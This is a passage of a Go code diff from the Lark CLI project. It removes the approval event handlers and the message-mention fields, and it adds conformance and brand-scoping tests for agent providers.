-			"event_id": "evt_approval_task_fallback",
-			"create_time": "1710000000003"
-		},
-		"event": {
-			"approval_code": "approval_code_fallback",
-			"instance_code": "instance_code_fallback",
-			"task_id": "task_fallback",
-			"status": "DONE",
-			"operate_time": "1666079207006"
-		}
-	}`)
-	if task.Type != eventTypeApprovalTaskStatusChangedV4 {
-		t.Errorf("task Type fallback = %q, want %q", task.Type, eventTypeApprovalTaskStatusChangedV4)
-	}
-}
-
-func TestProcessApprovalStatusChangedMalformedPayloadPassthrough(t *testing.T) {
-	for _, tc := range []struct {
-		name      string
-		eventType string
-		process   event.ProcessFunc
-	}{
-		{"instance", eventTypeApprovalInstanceStatusChangedV4, processApprovalInstanceStatusChanged},
-		{"task", eventTypeApprovalTaskStatusChangedV4, processApprovalTaskStatusChanged},
-	} {
-		t.Run(tc.name, func(t *testing.T) {
-			raw := &event.RawEvent{
-				EventType: tc.eventType,
-				Payload:   json.RawMessage(`not json`),
-				Timestamp: time.Now(),
-			}
-			got, err := tc.process(context.Background(), nil, raw, nil)
-			if err != nil {
-				t.Fatalf("Process should swallow parse errors, got %v", err)
-			}
-			if string(got) != "not json" {
-				t.Errorf("malformed fallback output = %q, want original bytes", string(got))
-			}
-		})
-	}
-}
-
-func TestProcessApprovalStatusChangedNilRaw(t *testing.T) {
-	for _, tc := range []struct {
-		name    string
-		process event.ProcessFunc
-	}{
-		{"instance", processApprovalInstanceStatusChanged},
-		{"task", processApprovalTaskStatusChanged},
-	} {
-		t.Run(tc.name, func(t *testing.T) {
-			got, err := tc.process(context.Background(), nil, nil, nil)
-			if err != nil {
-				t.Fatalf("Process nil raw returned error: %v", err)
-			}
-			if got != nil {
-				t.Fatalf("Process nil raw output = %s, want nil", string(got))
-			}
-		})
-	}
-}
-
-func runApprovalInstanceStatusChanged(t *testing.T, payload string) ApprovalInstanceStatusChangedV4Output {
-	t.Helper()
-	raw := &event.RawEvent{
-		EventType: eventTypeApprovalInstanceStatusChangedV4,
-		Payload:   json.RawMessage(payload),
-		Timestamp: time.Now(),
-	}
-	got, err := processApprovalInstanceStatusChanged(context.Background(), nil, raw, nil)
-	if err != nil {
-		t.Fatalf("Process returned error: %v", err)
-	}
-	var out ApprovalInstanceStatusChangedV4Output
-	if err := json.Unmarshal(got, &out); err != nil {
-		t.Fatalf("Process output is not valid instance JSON: %v\nraw=%s", err, string(got))
-	}
-	return out
-}
-
-func runApprovalTaskStatusChanged(t *testing.T, payload string) ApprovalTaskStatusChangedV4Output {
-	t.Helper()
-	raw := &event.RawEvent{
-		EventType: eventTypeApprovalTaskStatusChangedV4,
-		Payload:   json.RawMessage(payload),
-		Timestamp: time.Now(),
-	}
-	got, err := processApprovalTaskStatusChanged(context.Background(), nil, raw, nil)
-	if err != nil {
-		t.Fatalf("Process returned error: %v", err)
-	}
-	var out ApprovalTaskStatusChangedV4Output
-	if err := json.Unmarshal(got, &out); err != nil {
-		t.Fatalf("Process output is not valid task JSON: %v\nraw=%s", err, string(got))
-	}
-	return out
-}
-
-func TestApprovalKeysRegisterCleanly(t *testing.T) {
-	for _, key := range []string{eventTypeApprovalInstanceStatusChangedV4, eventTypeApprovalTaskStatusChangedV4} {
-		event.UnregisterKeyForTest(key)
-		t.Cleanup(func() { event.UnregisterKeyForTest(key) })
-	}
-
-	for _, def := range Keys() {
-		event.RegisterKey(def)
-	}
-	for _, key := range []string{eventTypeApprovalInstanceStatusChangedV4, eventTypeApprovalTaskStatusChangedV4} {
-		if _, ok := event.Lookup(key); !ok {
-			t.Fatalf("event.Lookup(%q) not registered", key)
-		}
-	}
-}
-
-var _ event.APIClient = (*fakeAPIClient)(nil)

events/approval/types.go

@@ -1,42 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package approval
-
-// ApprovalUserID identifies a user in the three Lark ID formats included by
-// approval status-change events.
-type ApprovalUserID struct {
-	OpenID  string `json:"open_id,omitempty"  desc:"User open_id; prefixed with ou_" kind:"open_id"`
-	UnionID string `json:"union_id,omitempty" desc:"User union_id"                  kind:"union_id"`
-	UserID  string `json:"user_id,omitempty"  desc:"User id within the tenant"       kind:"user_id"`
-}
-
-// ApprovalInstanceStatusChangedV4Output is the flattened shape for
-// approval.instance.status_changed_v4.
-type ApprovalInstanceStatusChangedV4Output struct {
-	Type         string          `json:"type"                    desc:"Event type; always approval.instance.status_changed_v4" enum:"approval.instance.status_changed_v4"`
-	EventID      string          `json:"event_id,omitempty"      desc:"Globally unique event ID; safe for deduplication"`
-	Timestamp    string          `json:"timestamp,omitempty"     desc:"Event delivery time (ms timestamp string); taken from header.create_time when present" kind:"timestamp_ms"`
-	ApprovalCode string          `json:"approval_code,omitempty" desc:"Approval definition code; not a subscription dimension"`
-	InstanceCode string          `json:"instance_code,omitempty" desc:"Approval instance code"`
-	ExternalID   string          `json:"external_id,omitempty"   desc:"Third-party approval instance id; present only for third-party approvals"`
-	Status       string          `json:"status,omitempty"        desc:"Approval instance status" enum:"PENDING,APPROVED,REJECTED,CANCELED,DELETED,REVERTED,OVERTIME_CLOSE,OVERTIME_RECOVER"`
-	OperateTime  string          `json:"operate_time,omitempty"  desc:"Status change time in milliseconds" kind:"timestamp_ms"`
-	StartUser    *ApprovalUserID `json:"start_user,omitempty"    desc:"Approval instance starter; omitted when unavailable"`
-}
-
-// ApprovalTaskStatusChangedV4Output is the flattened shape for
-// approval.task.status_changed_v4.
-type ApprovalTaskStatusChangedV4Output struct {
-	Type           string          `json:"type"                      desc:"Event type; always approval.task.status_changed_v4" enum:"approval.task.status_changed_v4"`
-	EventID        string          `json:"event_id,omitempty"        desc:"Globally unique event ID; safe for deduplication"`
-	Timestamp      string          `json:"timestamp,omitempty"       desc:"Event delivery time (ms timestamp string); taken from header.create_time when present" kind:"timestamp_ms"`
-	ApprovalCode   string          `json:"approval_code,omitempty"     desc:"Approval definition code; not a subscription dimension"`
-	InstanceCode   string          `json:"instance_code,omitempty"     desc:"Approval instance code"`
-	TaskID         string          `json:"task_id,omitempty"           desc:"Approval task id"`
-	ExternalID     string          `json:"external_id,omitempty"       desc:"Third-party approval external id; present only for third-party approvals"`
-	TaskExternalID string          `json:"task_external_id,omitempty"  desc:"Third-party approval task external id; present only when emitted by the upstream service"`
-	AssignedUser   *ApprovalUserID `json:"assigned_user,omitempty"     desc:"Task assignee or operator user ids; omitted for automatic flows without an operator"`
-	Status         string          `json:"status,omitempty"            desc:"Approval task status" enum:"REVERTED,PENDING,APPROVED,REJECTED,TRANSFERRED,ROLLBACK,DONE,OVERTIME_CLOSE,OVERTIME_RECOVER"`
-	OperateTime    string          `json:"operate_time,omitempty"      desc:"Status change time in milliseconds" kind:"timestamp_ms"`
-}

events/im/message_receive.go

@@ -13,29 +13,17 @@ import (
 
 // ImMessageReceiveOutput is the flattened shape for im.message.receive_v1; `desc` tags drive the reflected schema.
 type ImMessageReceiveOutput struct {
-	Type        string          `json:"type"                   desc:"Event type; always im.message.receive_v1"`
-	EventID     string          `json:"event_id,omitempty"     desc:"Event delivery ID. Do not use as the message deduplication key; use message_id instead."`
-	Timestamp   string          `json:"timestamp,omitempty"    desc:"Event delivery time (ms timestamp string); prefers header.create_time"                                                                                                              kind:"timestamp_ms"`
-	ID          string          `json:"id,omitempty"           desc:"Message ID (legacy alias of message_id, kept for compatibility)"                                                                                                                     kind:"message_id"`
-	MessageID   string          `json:"message_id,omitempty"   desc:"Message ID; prefixed with om_. Recommended idempotency key for im.message.receive_v1 consumers."                                                                                     kind:"message_id"`
-	CreateTime  string          `json:"create_time,omitempty"  desc:"Message creation time (ms timestamp string)"                                                                                                                                         kind:"timestamp_ms"`
-	UpdateTime  string          `json:"update_time,omitempty"  desc:"Message update time (ms timestamp string); emitted only when different from create_time"                                                                                              kind:"timestamp_ms"`
-	ChatID      string          `json:"chat_id,omitempty"      desc:"Chat/conversation ID; prefixed with oc_"                                                                                                                                             kind:"chat_id"`
-	ChatType    string          `json:"chat_type,omitempty"    desc:"Conversation type"                                                                                                                                                                   enum:"p2p,group"`
-	MessageType string          `json:"message_type,omitempty" desc:"Message type"`
-	SenderID    string          `json:"sender_id,omitempty"    desc:"Sender open_id; prefixed with ou_"                                                                                                                                                   kind:"open_id"`
-	SenderType  string          `json:"sender_type,omitempty"  desc:"Sender type"                                                                                                                                                                         enum:"user,bot"`
-	RootID      string          `json:"root_id,omitempty"      desc:"Root message ID of the reply/thread context, when present"                                                                                                                           kind:"message_id"`
-	ThreadID    string          `json:"thread_id,omitempty"    desc:"Thread ID, when present"`
-	ReplyTo     string          `json:"reply_to,omitempty"     desc:"Parent message ID of the direct reply context, when present"                                                                                                                         kind:"message_id"`
-	Content     string          `json:"content,omitempty"      desc:"Message content. For most types (text/post/image/file/audio, etc.) this is pre-rendered human-readable text."`
-	Mentions    []MentionOutput `json:"mentions,omitempty" desc:"Compact mentions aligned with im +messages-mget"`
-}
-
-type MentionOutput struct {
-	Key  string `json:"key,omitempty"  desc:"Mention placeholder key, for example @_user_1"`
-	ID   string `json:"id,omitempty"   desc:"Mentioned user open_id; prefixed with ou_"        kind:"open_id"`
-	Name string `json:"name,omitempty" desc:"Mentioned display name"`
+	Type        string `json:"type"                   desc:"Event type; always im.message.receive_v1"`
+	EventID     string `json:"event_id,omitempty"     desc:"Globally unique event ID; safe for deduplication"`
+	Timestamp   string `json:"timestamp,omitempty"    desc:"Event delivery time (ms timestamp string); prefers header.create_time"                                                                                                              kind:"timestamp_ms"`
+	ID          string `json:"id,omitempty"           desc:"Message ID (legacy alias of message_id, kept for compatibility)"                                                                                                                     kind:"message_id"`
+	MessageID   string `json:"message_id,omitempty"   desc:"Message ID; prefixed with om_"                                                                                                                                                       kind:"message_id"`
+	CreateTime  string `json:"create_time,omitempty"  desc:"Message creation time (ms timestamp string)"                                                                                                                                         kind:"timestamp_ms"`
+	ChatID      string `json:"chat_id,omitempty"      desc:"Chat/conversation ID; prefixed with oc_"                                                                                                                                             kind:"chat_id"`
+	ChatType    string `json:"chat_type,omitempty"    desc:"Conversation type"                                                                                                                                                                   enum:"p2p,group"`
+	MessageType string `json:"message_type,omitempty" desc:"Message type"`
+	SenderID    string `json:"sender_id,omitempty"    desc:"Sender open_id; prefixed with ou_"                                                                                                                                                   kind:"open_id"`
+	Content     string `json:"content,omitempty"      desc:"Message content. For most types (text/post/image/file/audio, etc.) this is pre-rendered human-readable text."`
 }
 
 func processImMessageReceive(_ context.Context, _ event.APIClient, raw *event.RawEvent, _ map[string]string) (json.RawMessage, error) {
@@ -48,20 +36,15 @@ func processImMessageReceive(_ context.Context, _ event.APIClient, raw *event.Ra
 		Event struct {
 			Message struct {
 				MessageID   string        `json:"message_id"`
-				RootID      string        `json:"root_id"`
-				ParentID    string        `json:"parent_id"`
-				ThreadID    string        `json:"thread_id"`
 				ChatID      string        `json:"chat_id"`
 				ChatType    string        `json:"chat_type"`
 				MessageType string        `json:"message_type"`
 				Content     string        `json:"content"`
 				CreateTime  string        `json:"create_time"`
-				UpdateTime  string        `json:"update_time"`
 				Mentions    []interface{} `json:"mentions"`
 			} `json:"message"`
 			Sender struct {
-				SenderType string `json:"sender_type"`
-				SenderID   struct {
+				SenderID struct {
 					OpenID string `json:"open_id"`
 				} `json:"sender_id"`
 			} `json:"sender"`
@@ -98,54 +81,7 @@ func processImMessageReceive(_ context.Context, _ event.APIClient, raw *event.Ra
 		ChatType:    msg.ChatType,
 		MessageType: msg.MessageType,
 		SenderID:    envelope.Event.Sender.SenderID.OpenID,
-		SenderType:  envelope.Event.Sender.SenderType,
-		RootID:      msg.RootID,
-		ThreadID:    msg.ThreadID,
-		ReplyTo:     msg.ParentID,
 		Content:     content,
-		Mentions:    compactMentions(msg.Mentions),
-	}
-	if msg.UpdateTime != "" && msg.UpdateTime != msg.CreateTime {
-		out.UpdateTime = msg.UpdateTime
 	}
 	return json.Marshal(out)
 }
-
-func compactMentions(mentions []interface{}) []MentionOutput {
-	if len(mentions) == 0 {
-		return nil
-	}
-	out := make([]MentionOutput, 0, len(mentions))
-	for _, raw := range mentions {
-		item, _ := raw.(map[string]interface{})
-		mention := MentionOutput{
-			Key:  stringField(item, "key"),
-			ID:   mentionOpenID(item["id"]),
-			Name: stringField(item, "name"),
-		}
-		if mention.Key != "" || mention.ID != "" || mention.Name != "" {
-			out = append(out, mention)
-		}
-	}
-	if len(out) == 0 {
-		return nil
-	}
-	return out
-}
-
-func stringField(m map[string]interface{}, key string) string {
-	v, _ := m[key].(string)
-	return v
-}
-
-func mentionOpenID(raw interface{}) string {
-	switch v := raw.(type) {
-	case map[string]interface{}:
-		openID, _ := v["open_id"].(string)
-		return openID
-	case string:
-		return v
-	default:
-		return ""
-	}
-}

events/im/message_receive_test.go

@@ -84,32 +84,19 @@ func TestProcessImMessageReceive_Text(t *testing.T) {
 		},
 		"event": {
 			"sender": {
-				"sender_type": "user",
 				"sender_id": {"open_id": "ou_sender"}
 			},
 			"message": {
 				"message_id":   "om_text_001",
-				"root_id":      "om_root_001",
-				"parent_id":    "om_parent_001",
-				"thread_id":    "omt_thread_001",
 				"chat_id":      "oc_chat",
 				"chat_type":    "p2p",
 				"message_type": "text",
 				"create_time":  "1776409468987",
-				"update_time":  "1776409469999",
-				"content":      "{\"text\":\"hello @_user_1\"}",
-				"mentions": [
-					{
-						"key": "@_user_1",
-						"id": {"open_id": "ou_mentioned"},
-						"name": "Alice"
-					}
-				]
+				"content":      "{\"text\":\"hello there\"}"
 			}
 		}
 	}`
 	out := runReceive(t, payload)
-	outMap := runReceiveMap(t, payload)
 
 	if out.Type != "im.message.receive_v1" {
 		t.Errorf("Type = %q", out.Type)
@@ -123,69 +110,12 @@ func TestProcessImMessageReceive_Text(t *testing.T) {
 	if out.SenderID != "ou_sender" {
 		t.Errorf("SenderID = %q", out.SenderID)
 	}
-	if out.Content != "hello @Alice" {
-		t.Errorf("Content = %q, want \"hello @Alice\"", out.Content)
+	if out.Content != "hello there" {
+		t.Errorf("Content = %q, want \"hello there\"", out.Content)
 	}
 	if out.Timestamp != "1776409469273" {
 		t.Errorf("Timestamp = %q", out.Timestamp)
 	}
-	for field, want := range map[string]string{
-		"sender_type": "user",
-		"root_id":     "om_root_001",
-		"thread_id":   "omt_thread_001",
-		"reply_to":    "om_parent_001",
-		"update_time": "1776409469999",
-	} {
-		if got, _ := outMap[field].(string); got != want {
-			t.Errorf("%s = %q, want %q", field, got, want)
-		}
-	}
-	mentions, _ := outMap["mentions"].([]interface{})
-	if len(mentions) != 1 {
-		t.Fatalf("mentions length = %d, want 1: %#v", len(mentions), outMap["mentions"])
-	}
-	mention, _ := mentions[0].(map[string]interface{})
-	for field, want := range map[string]string{
-		"key":  "@_user_1",
-		"id":   "ou_mentioned",
-		"name": "Alice",
-	} {
-		if got, _ := mention[field].(string); got != want {
-			t.Errorf("mentions[0].%s = %q, want %q", field, got, want)
-		}
-	}
-}
-
-func TestProcessImMessageReceive_OmitsUnchangedUpdateTime(t *testing.T) {
-	payload := `{
-		"schema": "2.0",
-		"header": {
-			"event_id": "ev_test_text",
-			"event_type": "im.message.receive_v1",
-			"create_time": "1776409469273",
-			"app_id": "cli_test"
-		},
-		"event": {
-			"sender": {
-				"sender_type": "user",
-				"sender_id": {"open_id": "ou_sender"}
-			},
-			"message": {
-				"message_id":   "om_text_001",
-				"chat_id":      "oc_chat",
-				"chat_type":    "p2p",
-				"message_type": "text",
-				"create_time":  "1776409468987",
-				"update_time":  "1776409468987",
-				"content":      "{\"text\":\"hello there\"}"
-			}
-		}
-	}`
-	outMap := runReceiveMap(t, payload)
-
-	if _, ok := outMap["update_time"]; ok {
-		t.Errorf("update_time should be omitted when it equals create_time: %#v", outMap)
-	}
 }
 
 func TestProcessImMessageReceive_Interactive(t *testing.T) {
@@ -258,22 +188,3 @@ func runReceive(t *testing.T, payload string) ImMessageReceiveOutput {
 	}
 	return out
 }
-
-func runReceiveMap(t *testing.T, payload string) map[string]interface{} {
-	t.Helper()
-	raw := &event.RawEvent{
-		EventID:   "ev_test",
-		EventType: "im.message.receive_v1",
-		Payload:   json.RawMessage(payload),
-		Timestamp: time.Now(),
-	}
-	got, err := processImMessageReceive(context.Background(), nil, raw, nil)
-	if err != nil {
-		t.Fatalf("Process error: %v", err)
-	}
-	var out map[string]interface{}
-	if err := json.Unmarshal(got, &out); err != nil {
-		t.Fatalf("Process output is not valid JSON: %v\nraw=%s", err, string(got))
-	}
-	return out
-}

events/register.go

@@ -5,8 +5,6 @@
 package events
 
 import (
-	"github.com/larksuite/cli/events/application"
-	"github.com/larksuite/cli/events/approval"
 	"github.com/larksuite/cli/events/im"
 	"github.com/larksuite/cli/events/minutes"
 	"github.com/larksuite/cli/events/task"
@@ -18,8 +16,6 @@ import (
 // Mail is intentionally omitted in this phase.
 func init() {
 	all := [][]event.KeyDefinition{
-		application.Keys(),
-		approval.Keys(),
 		im.Keys(),
 		minutes.Keys(),
 		task.Keys(),

internal/agents/agenttest/agenttest.go

@@ -0,0 +1,249 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+// Package agenttest provides provider conformance tests: a new integrator calls
+// RunConformance in its own test to lock down registration metadata, offline
+// resolution, the mandatory core hooks, and single-sourced card derivation. All
+// assertions run offline (no runtime, no API calls).
+package agenttest
+
+import (
+	"context"
+	"reflect"
+	"strings"
+	"testing"
+
+	"github.com/larksuite/cli/internal/agents"
+	"github.com/larksuite/cli/internal/core"
+)
+
+// CheckParamsBinding locks the declaration↔consumption contract for one
+// operation: every `param:"name"` tag on T must reference a parameter declared
+// on that verb, and the field kind must be compatible with the declared Type
+// (string↔string, int/int64↔integer, float64↔number, bool↔boolean). A provider
+// using BindParams[T] calls this once per binding struct in its own tests, so
+// a renamed/retyped declaration fails CI instead of silently zero-valuing at
+// runtime.
+func CheckParamsBinding[T any](t *testing.T, spec *agents.AgentSpec, verb string) {
+	t.Helper()
+	op, ok := spec.Op(verb)
+	if !ok {
+		t.Fatalf("params binding: unknown verb %q", verb)
+	}
+	var zero T
+	rt := reflect.TypeOf(zero)
+	if rt == nil || rt.Kind() != reflect.Struct {
+		t.Fatalf("params binding: %T is not a struct", zero)
+	}
+	checkBindingLevel(t, rt, op.Params, verb, "")
+}
+
+// checkBindingLevel walks one struct level against one declaration level; a
+// nested struct field recurses into the matching object param's Fields.
+func checkBindingLevel(t *testing.T, rt reflect.Type, declaredParams []agents.CardParam, verb, where string) {
+	t.Helper()
+	declared := make(map[string]agents.CardParam, len(declaredParams))
+	for _, p := range declaredParams {
+		declared[p.Name] = p
+	}
+	for i := 0; i < rt.NumField(); i++ {
+		f := rt.Field(i)
+		tag := f.Tag.Get("param")
+		if tag == "" || tag == "-" {
+			continue
+		}
+		if !f.IsExported() {
+			t.Errorf("params binding: field %s%s is unexported but tagged param %q (BindParams cannot set it)", where, f.Name, tag)
+			continue
+		}
+		cp, ok := declared[tag]
+		if !ok {
+			t.Errorf("params binding: field %s%s tags param %q which %s does not declare", where, f.Name, tag, verb)
+			continue
+		}
+		if f.Type.Kind() == reflect.Struct {
+			if cp.Type != "object" {
+				t.Errorf("params binding: field %s%s is a struct but param %q is declared %q (want object)", where, f.Name, tag, cp.Type)
+				continue
+			}
+			checkBindingLevel(t, f.Type, cp.Fields, verb, where+tag+".")
+			continue
+		}
+		typ := cp.Type
+		if typ == "" {
+			typ = "string"
+		}
+		compatible := map[string][]reflect.Kind{
+			"string":  {reflect.String},
+			"integer": {reflect.Int, reflect.Int64},
+			"number":  {reflect.Float64},
+			"boolean": {reflect.Bool},
+		}[typ]
+		okKind := false
+		for _, k := range compatible {
+			if f.Type.Kind() == k {
+				okKind = true
+			}
+		}
+		if !okKind {
+			t.Errorf("params binding: field %s%s (%s) is incompatible with param %q declared type %q", where, f.Name, f.Type.Kind(), tag, typ)
+		}
+	}
+}
+
+// RunConformance runs the full set of conformance assertions against a
+// registered scheme. sampleAgentID must be a valid agent id (catalog: an id from
+// the Catalog; instance: any non-empty id).
+func RunConformance(t *testing.T, scheme, sampleAgentID string) {
+	t.Helper()
+	prov, ok := agents.Info(scheme)
+	if !ok {
+		t.Fatalf("conformance: scheme %q not registered (the top-level agent package must be imported to trigger init registration)", scheme)
+	}
+
+	t.Run("metadata", func(t *testing.T) {
+		if prov.Scheme != scheme {
+			t.Errorf("conformance: Provider.Scheme should be %q, got %q", scheme, prov.Scheme)
+		}
+		if prov.Label == "" {
+			t.Error("conformance: Provider.Label must not be empty")
+		}
+		if prov.AgentIDSource == "" {
+			t.Error("conformance: Provider.AgentIDSource must not be empty")
+		}
+		if len(prov.Identities) == 0 {
+			t.Error("conformance: Identities must not be empty")
+		}
+		for i, id := range prov.Identities {
+			if id.Type != agents.IdentityUser && id.Type != agents.IdentityBot {
+				t.Errorf("conformance: Identities[%d].Type should be user|bot, got %q", i, id.Type)
+			}
+		}
+		// Exactly one of Catalog / Instance is set (Register enforces; re-assert).
+		if (len(prov.Catalog) > 0) == (prov.Instance != nil) {
+			t.Error("conformance: exactly one of Catalog / Instance must be set")
+		}
+		seen := make(map[string]bool, len(prov.RequiredScopes))
+		for _, s := range prov.RequiredScopes {
+			if seen[s] {
+				t.Errorf("conformance: RequiredScopes contains duplicate %q", s)
+			}
+			seen[s] = true
+		}
+	})
+
+	t.Run("lookup", func(t *testing.T) {
+		gotProv, spec, agentID, err := agents.LookupSpec(scheme + ":" + sampleAgentID)
+		if err != nil {
+			t.Fatalf("conformance: LookupSpec(%s:%s) offline should succeed, got %v", scheme, sampleAgentID, err)
+		}
+		if gotProv.Scheme != scheme {
+			t.Errorf("conformance: LookupSpec provider scheme should be %q, got %q", scheme, gotProv.Scheme)
+		}
+		if agentID != sampleAgentID {
+			t.Errorf("conformance: LookupSpec should echo the agent id %q, got %q", sampleAgentID, agentID)
+		}
+		// Core operations are mandatory (the command layer dispatches them without
+		// a nil-check); Register enforces this at registration, re-assert here.
+		if spec.Send.Handler == nil {
+			t.Error("conformance: spec.Send (core) must be wired")
+		}
+		if spec.GetTask.Handler == nil {
+			t.Error("conformance: spec.GetTask (core) must be wired")
+		}
+	})
+
+	t.Run("card", func(t *testing.T) {
+		buildCard := func() *agents.AgentCard {
+			t.Helper()
+			_, spec, agentID, err := agents.LookupSpec(scheme + ":" + sampleAgentID)
+			if err != nil {
+				t.Fatalf("conformance: LookupSpec returned error: %v", err)
+			}
+			// rt=nil: the guaranteed-offline card (caps + registration + static
+			// metadata). Describe enrichment is never exercised here.
+			return agents.BuildCard(context.Background(), prov, spec, agentID, core.BrandFeishu, nil)
+		}
+		card := buildCard()
+		if card.Provider != scheme {
+			t.Errorf("conformance: Card.Provider should be %q, got %q", scheme, card.Provider)
+		}
+		if card.AgentID != sampleAgentID {
+			t.Errorf("conformance: Card.AgentID should echo the input %q, got %q", sampleAgentID, card.AgentID)
+		}
+		if card.ProviderLabel != prov.Label {
+			t.Errorf("conformance: Card.ProviderLabel should equal the registered Label %q, got %q", prov.Label, card.ProviderLabel)
+		}
+		if !reflect.DeepEqual(card.Identity, prov.Identities) {
+			t.Errorf("conformance: Card.Identity should match the registered Identities, expected %+v got %+v", prov.Identities, card.Identity)
+		}
+		if card.AgentIDSource != prov.AgentIDSource {
+			t.Errorf("conformance: Card.AgentIDSource should equal the registered value %q, got %q", prov.AgentIDSource, card.AgentIDSource)
+		}
+		if card.HasParameters == nil {
+			t.Error("conformance: Card.HasParameters must not be nil (always emitted, empty is [])")
+		}
+		if !card.Capabilities.TaskGet {
+			t.Error("conformance: task_get must be true (GetTask is a mandatory core hook)")
+		}
+		// Single-sourcing: two independent offline builds must DeepEqual.
+		if card2 := buildCard(); !reflect.DeepEqual(card, card2) {
+			t.Errorf("conformance: two offline BuildCard results should DeepEqual (single source), got\n%+v\nvs\n%+v", card, card2)
+		}
+	})
+
+	t.Run("params", func(t *testing.T) {
+		_, spec, _, err := agents.LookupSpec(scheme + ":" + sampleAgentID)
+		if err != nil {
+			t.Fatalf("conformance: LookupSpec returned error: %v", err)
+		}
+		// has_parameters must agree with the per-op declarations (single source).
+		has := map[string]bool{}
+		for _, v := range agents.HasParameters(spec) {
+			has[v] = true
+		}
+		for _, o := range spec.Ops() {
+			if want := o.Wired && len(o.Params) > 0; has[o.Verb] != want {
+				t.Errorf("conformance: has_parameters[%s]=%v disagrees with the op declaration (wired=%v, %d params)",
+					o.Verb, has[o.Verb], o.Wired, len(o.Params))
+			}
+		}
+	})
+
+	if prov.Kind() == agents.KindCatalog {
+		t.Run("enumeration", func(t *testing.T) {
+			list := prov.ListCatalog(core.BrandFeishu)
+			wantRef := scheme + ":" + sampleAgentID
+			found := false
+			for i, a := range list {
+				r, err := agents.ParseRef(a.AgentRef)
+				if err != nil {
+					t.Errorf("conformance: ListCatalog[%d].AgentRef %q should be parseable: %v", i, a.AgentRef, err)
+					continue
+				}
+				if r.Scheme != scheme {
+					t.Errorf("conformance: ListCatalog[%d].AgentRef %q scheme should be %q, got %q", i, a.AgentRef, scheme, r.Scheme)
+				}
+				if a.Name == "" {
+					t.Errorf("conformance: ListCatalog[%d] (%s) Name must not be empty", i, a.AgentRef)
+				}
+				if a.AgentRef == wantRef {
+					found = true
+				}
+			}
+			if !found {
+				t.Errorf("conformance: sampleAgentID should appear in the enumeration (expected %q), got %+v", wantRef, list)
+			}
+			// stable, sorted by AgentRef.
+			list2 := prov.ListCatalog(core.BrandFeishu)
+			if !reflect.DeepEqual(list, list2) {
+				t.Errorf("conformance: two ListCatalog results should DeepEqual (stable), got\n%+v\nvs\n%+v", list, list2)
+			}
+			for i := 1; i < len(list); i++ {
+				if strings.Compare(list[i-1].AgentRef, list[i].AgentRef) > 0 {
+					t.Errorf("conformance: ListCatalog should be sorted by AgentRef, got %q before %q", list[i-1].AgentRef, list[i].AgentRef)
+				}
+			}
+		})
+	}
+}

internal/agents/brand_test.go

@@ -0,0 +1,109 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package agents
+
+import (
+	"context"
+	"testing"
+
+	"github.com/larksuite/cli/internal/core"
+)
+
+// TestDeriveCapabilitiesBrandScoped pins the brand-aware matrix: a wired op that
+// declares Brands is a live capability only under a listed brand. reporter-like
+// spec wires CancelTask feishu-only, so task_cancel is true under feishu and
+// false under lark (the op is excluded), while the mandatory task_get (no
+// Brands) stays true under both.
+func TestDeriveCapabilitiesBrandScoped(t *testing.T) {
+	s := coreSpec("reporter")
+	s.CancelTask = TaskCancelOp{
+		Brands:  []core.LarkBrand{core.BrandFeishu},
+		Handler: func(context.Context, Runtime, string) error { return nil },
+	}
+
+	feishu := DeriveCapabilities(&s, core.BrandFeishu)
+	if !feishu.TaskCancel {
+		t.Error("feishu: task_cancel should be true (wired + feishu-scoped)")
+	}
+	if !feishu.TaskGet {
+		t.Error("feishu: task_get (core, no Brands) should always be true")
+	}
+
+	lark := DeriveCapabilities(&s, core.BrandLark)
+	if lark.TaskCancel {
+		t.Error("lark: task_cancel should be false (op excluded from lark)")
+	}
+	if !lark.TaskGet {
+		t.Error("lark: task_get (core, no Brands) should still be true")
+	}
+}
+
+// TestSpecAvailableForBrand pins the whole-agent visibility rule: empty Brands
+// means every brand; a scoped list restricts to its members.
+func TestSpecAvailableForBrand(t *testing.T) {
+	empty := coreSpec("a") // no Brands
+	if !SpecAvailableForBrand(&empty, core.BrandFeishu) || !SpecAvailableForBrand(&empty, core.BrandLark) {
+		t.Error("empty Brands should be available under every brand")
+	}
+
+	scoped := coreSpec("b")
+	scoped.Brands = []core.LarkBrand{core.BrandFeishu}
+	if !SpecAvailableForBrand(&scoped, core.BrandFeishu) {
+		t.Error("[feishu] should be available under feishu")
+	}
+	if SpecAvailableForBrand(&scoped, core.BrandLark) {
+		t.Error("[feishu] should NOT be available under lark")
+	}
+}
+
+// TestRegisterPanicsInvalidBrand pins the Register-time fail-fast on a bad brand
+// value in both the whole-agent spec.Brands and a per-op Op.Brands.
+func TestRegisterPanicsInvalidBrand(t *testing.T) {
+	swapRegistry(t, map[string]Provider{})
+
+	// Whole-agent spec.Brands with a value that is neither feishu nor lark.
+	badSpec := catalogProvider("bs", "a")
+	badSpec.Catalog[0].Brands = []core.LarkBrand{"weibo"}
+	mustPanic(t, "spec invalid Brand", func() { Register(badSpec) })
+
+	// Per-op Op.Brands with a bad value (the op is wired so it is not caught by
+	// the params-on-unwired check first).
+	badOp := catalogProvider("bo", "a")
+	badOp.Catalog[0].CancelTask = TaskCancelOp{
+		Brands:  []core.LarkBrand{"nope"},
+		Handler: func(context.Context, Runtime, string) error { return nil },
+	}
+	mustPanic(t, "op invalid Brand", func() { Register(badOp) })
+}
+
+// TestListCatalogBrandExclusion pins that ListCatalog(brand) filters out a
+// whole-agent-scoped spec: a feishu-only agent is listed under feishu but
+// EXCLUDED under lark, while an unrestricted agent is listed under both.
+func TestListCatalogBrandExclusion(t *testing.T) {
+	p := Provider{
+		Scheme: "x",
+		Catalog: []AgentSpec{
+			{ID: "all", Name: "all-brands"},
+			{ID: "feishuonly", Name: "feishu-only", Brands: []core.LarkBrand{core.BrandFeishu}},
+		},
+	}
+	has := func(list []AgentSummary, ref string) bool {
+		for _, a := range list {
+			if a.AgentRef == ref {
+				return true
+			}
+		}
+		return false
+	}
+	if fe := p.ListCatalog(core.BrandFeishu); !has(fe, "x:all") || !has(fe, "x:feishuonly") {
+		t.Errorf("feishu catalog should include both agents, got %v", fe)
+	}
+	la := p.ListCatalog(core.BrandLark)
+	if !has(la, "x:all") {
+		t.Errorf("lark catalog should include the unrestricted agent, got %v", la)
+	}
+	if has(la, "x:feishuonly") {
+		t.Errorf("lark catalog should EXCLUDE the feishu-only agent, got %v", la)
+	}
+}

